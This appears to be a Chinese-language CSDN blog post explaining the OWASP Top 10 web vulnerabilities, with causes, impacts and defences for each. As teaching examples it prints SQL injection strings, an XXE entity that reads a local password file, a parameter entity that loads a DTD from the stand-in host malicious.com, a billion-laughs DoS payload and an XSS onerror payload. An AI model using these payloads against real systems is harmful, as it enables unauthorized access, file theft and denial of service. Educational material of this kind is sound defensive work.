OWASP 十大常见漏洞

OWASP TOP10

  • OWASP(开放式Web应用程序安全项目)十项最严重的Web应用程序安全风险列表

A1 SQL注入

因素解释
漏洞原理SQL语句注入到后台数据库引擎执行
漏洞原因数据输入框未审计、未过滤特殊字符
漏洞影响获取敏感数据或进一步在服务器执行命令接管服务器
攻击方式
  • 数字注入

在浏览器发送一个get请求时,例如"xxx/sql/xxx?id=1",转化为SQL语句为:
···
$sql = “SELECT * FROM xxx WHERE id =1”, $id
···
这时如果在浏览器输入"xxx/sql/xxx?id=-1 OR 1=1"就会获取到网页的全部信息,因为 id=-1 表示false而 1=1 表示true,那么WHERE就没有进行筛选,所以查询出来的结果是整张表的内容

  • 字符串注入

在浏览器发送post请求时,浏览器访问xxx/sql/xxx,然后连接数据库对请求参数中的信息进行校验,例如在登录中账号密码分别为:user和123456,点击登陆后会提交表单,相当于SQL语句:
···
SELECT * FROM user WHERE username = ‘user’ ADN password = ‘123456’
···
如果将用户名变为 user’# ,那么右侧添加的单引号就会和左侧的单引号闭合,通过 # 号对后面的语句进行注释让密码验证失效,从而只需要正确的用户名就可以登录,注释掉后SQL语句相当于:
···
SELECT * FROM user WHERE username = ‘user’
···



A2 失效的身份认证

  • 攻击方式:

攻击者利用网站应用程序中的身份认证缺陷获取高权限并进行攻击应用服务

  • 漏洞原因:

应用程序身份认证系统认证缺陷

  • 漏洞影响:

盗用账号和身份

  • 常见设计缺陷:

修改利用网络协议数据包获取的使用者的账号密码
网页设计不良,可以直接绕过验证界面
使用者忘记注,让攻击者有可乘之机
弱密码

  • 漏洞防护:

网站的登陆界面就使用加密连接
网站具备超时注销机制
网站具备良好的权限控制和管理



A3 敏感数据泄露

  • 攻击方式:

主要是扫描应用程序获取到敏感数据
扫描利用的工具有Burp suite、dirsearch、nmap等

  • 漏洞原因:

应用维护或者开发人员无意间上传敏感数据
敏感数据文件的权限设置错误
网络协议、算法本身的弱点

  • 漏洞影响:

应用程序、网站被修改
个人资料、公司资料泄露

  • 漏洞防护:

对于 github 泄露,定期对仓库扫描
对于应用网站目录定期扫描
使用强壮的网络协议与算法



A4 XML注入漏洞

因素解释
漏洞原因XML 协议文档本身的设计特性,可以引入外部的资源
漏洞影响读取服务器敏感资料、读取应用程序源码
漏洞防护过滤用户提交的XML数据、使用开发语言提供的禁用外部实体的方法、禁止DTDs解析
攻击方式
  • 普通XML攻击

XML注入和SQL注入攻击的原理一样,若系统没有对用户输入的特殊符号进行转义处理,攻击者可以更改XML数据的格式,例如原本的数据为:
···
<?xml version="1.0" encoding="UTF-8" ?>
< user role=“guest”>用户输入< /user>
···
将用户输入的部分修改为:
···
user1< /user>< user role=“admin”>user2< /user
···
这样就可以添加一个有管理员权限的用户

  • XML实体注入攻击

方式一:利用外部实体的引用功能读取任意文件
攻击者在XML文件中定义一个外部实体,然后在XML内容中引用这个实体。这样可以让服务器读取并返回任意文件的内容。例如:

<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE updateProfile [
    <!ENTITY file SYSTEM "file:///d:/xml/password.txt">
]>
<updateProfile>
    <firstname>a</firstname>
    <lastname>&file;</lastname>
</updateProfile>

在这个示例中,外部实体file指向file:///d:/xml/password.txt,当服务器解析XML时,会读取该文件的内容并将其插入到元素中

方式二:使用参数实体和避免XML解析语法错误,构造恶意的实体解析
攻击者可以构造复杂的参数实体,并结合使用<![CDATA[]]>来避免XML解析语法错误,从而创建恶意的DTD,例如:

<!DOCTYPE root [
  <!ENTITY % start "<!ENTITY &#37; param1 SYSTEM 'http://malicious.com/malicious.dtd'>">
  %start;
]>
<root>&param1;</root>

在这个示例中,DTD中定义了一个参数实体%param1,其内容从 http://malicious.com/malicious.dtd 加载,在恶意的DTD文件中,可以进一步定义其他恶意实体,例如读取敏感文件或将数据发送到攻击者控制的服务器

方式三:内部XML实体注入
试图通过消耗目标程序的服务器内存资源导致DoS攻击,例如:

<?xml version="1.0"?>
<!DOCTYPE lolz [
<!ENTITY lol "lol">
<!ENTITY lol2 "&lol;&lol;&lol;&lol;&lol;&lol;&lol;&lol;&lol;&lol;">
<!ENTITY lol3 "&lol2;&lol2;&lol2;&lol2;&lol2;&lol2;&lol2;&lol2;&lol2;&lol2;">
<!ENTITY lol4 "&lol3;&lol3;&lol3;&lol3;&lol3;&lol3;&lol3;&lol3;&lol3;&lol3;">
<!ENTITY lol5 "&lol4;&lol4;&lol4;&lol4;&lol4;&lol4;&lol4;&lol4;&lol4;&lol4;">
<!ENTITY lol6 "&lol5;&lol5;&lol5;&lol5;&lol5;&lol5;&lol5;&lol5;&lol5;&lol5;">
<!ENTITY lol7 "&lol6;&lol6;&lol6;&lol6;&lol6;&lol6;&lol6;&lol6;&lol6;&lol6;">
]>
<lolz>&lol7;</lolz>

这段代码通过递归定义多个实体,使得最终解析时会产生巨大的文本数据量,从而导致拒绝服务攻击



A5 无效的访问控制

  • 攻击方式:

没有检查身份,直接导致攻击者绕过权限直接访问

  • 漏洞原因:

设计、配置错误,允许没有正确验证身份的用户获取访问缺陷

  • 漏洞影响:

绕过路径,导致路径绕过读取到敏感文件
权限提升,导致攻击者变更权限
垂直越权,攻击者可以从普通的用户权限提升到管理员的权限访问应用程序
水平越权,攻击者可以从普通用户A的权限提升到普通用户B的权限访问应用程序

  • 漏洞防护:

对参数的白名单过滤
对权限的控制管理重新设计与限制
限制下载文件的类型



A6 安全配置错误

  • 攻击方式:

攻击者利用错误配置攻击,获取敏感数据或者提升权限

  • 漏洞原因:

开发或者维护人员设置了错误的配置

  • 漏洞影响:

可让攻击者获取到敏感数据
可让攻击者提升权限



A7跨站脚本攻击XSS

因素解释
漏洞原理恶意攻击者会在 Web页面里插入恶意script代码,当用户浏览该页之时,嵌入其中Web里面的script代码会被执行,从而达到恶意攻击用户的目的
漏洞影响欺骗使用者点击嵌入了恶意网站的正常网站,从而获取使用者的敏感数据、盗用cookie后冒用使用者的身份
漏洞原因应用程序未对应用输入做过滤与检查,导致用户数据被当作代码执行
漏洞防护对输入进行过滤,不允许可能导致XSS攻击的字符输入以及根据输出点的位置对输出到前端的内容进行适当转义
攻击方式
  • 反射性XSS(非持久化)

攻击者通过电子邮件等方式将包含xss代码的恶意链接发送给目标用户。当目标用户访问该链接时,服务器接受该用户的请求并进行处理,然后服务器把带有xss代码的数据发送给目标用户的浏览器,浏览器解析这段带有xss代码的恶意脚本后就会触发xss漏洞
例如,原网站的地址为:
···
http://xss.test/?input=
···
在input框中输入1查看结果:
在这里插入图片描述
更改input输入框的内容为:
···
< /div>< img src=0 οnerrοr=“alert(/xss/)” />< div>
‘’’
获取到的结果为:
在这里插入图片描述
获取到的网址为:
···
http://xss.test/?input=%3C%2Fdiv%3E%3Cimg%20src%3D0%20onerror%3D%22alert(%2Fxss%2F)%22%20%2F%3E%3Cdiv%3E
···
之后就可以将成功注入代码并出发xss的网址通过社会手段发送到被攻击者手中,从而获取敏感信息

  • 存储型XSS(持久化)

攻击者将恶意脚本代码注入到目标网站的数据库中,随后当其他用户访问包含这些恶意代码的页面时,脚本会在用户的浏览器中执行,从而窃取用户的敏感信息、劫持用户会话、执行未经授权的操作或传播更多的恶意代码

  • DOM型

DOM型XSS(跨站脚本攻击)是一种在客户端发生的攻击,基于文档对象模型(DOM),不需要服务器参与。攻击者通过精心设计的URL提交恶意脚本,当用户浏览器处理响应时,脚本通过DOM对象(如url、location等)在本地执行。如果这些数据没有经过严格验证,就会导致XSS漏洞,使恶意代码难以被检测和防御



A8 不安全的反序列化漏洞

  • 攻击方式

不安全的反序列化漏洞是指应用程序在反序列化不受信任的数据时,攻击者通过精心构造的恶意输入数据,利用该过程执行任意代码或进行其他恶意操作。反序列化是将数据从序列化形式(如字符串或字节流)转换回对象的过程。如果没有正确验证和处理这些数据,攻击者可以注入恶意对象或修改现有对象的属性,导致安全漏洞

  • 漏洞原因:

应用程序在反序列化数据对象时,执行了攻击者传递的恶意数据对象

  • 漏洞影响:

数据泄露
远程代码执行
权限提升

  • 漏洞防护:

对数据对象签名,并作完整检查
数据对象中的数据做严格的类型检查,限制一部分恶意攻击
隔离反序列化操作环境



A9 使用含有已知漏洞的组件

  • 攻击方式:

利用应用程序技术栈中的框架、库、工具等的已知漏洞进行攻击,获取高权限或者敏感数据、

  • 漏洞原因:

应用程序技术栈中使用的框架、库、工具爆出了漏洞,应用程序未能及时更新与修复

  • 漏洞影响:

敏感数据泄露
提升权限
远程代码执行

  • 漏洞防护:

及时更新、修复组件漏洞
移除不再使用的依赖组件



A10 日志记录和监控不足导致的风险

  • 漏洞原因:

对于日志记录的监控不足,造成攻击者攻击系统、应用、盗取数据等操作无法被发现和追查

  • 漏洞影响:

无法判断安全事件的发生
无法判断和修复漏洞,导致再次被入侵

  • 漏洞防护:

启用日志监控、告警机制
启用异地监控,C/S架构的监制机制
尽可能的完整记录所有日志

  • 22
    点赞
  • 11
    收藏
    觉得还不错? 一键收藏
  • 0
    评论

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值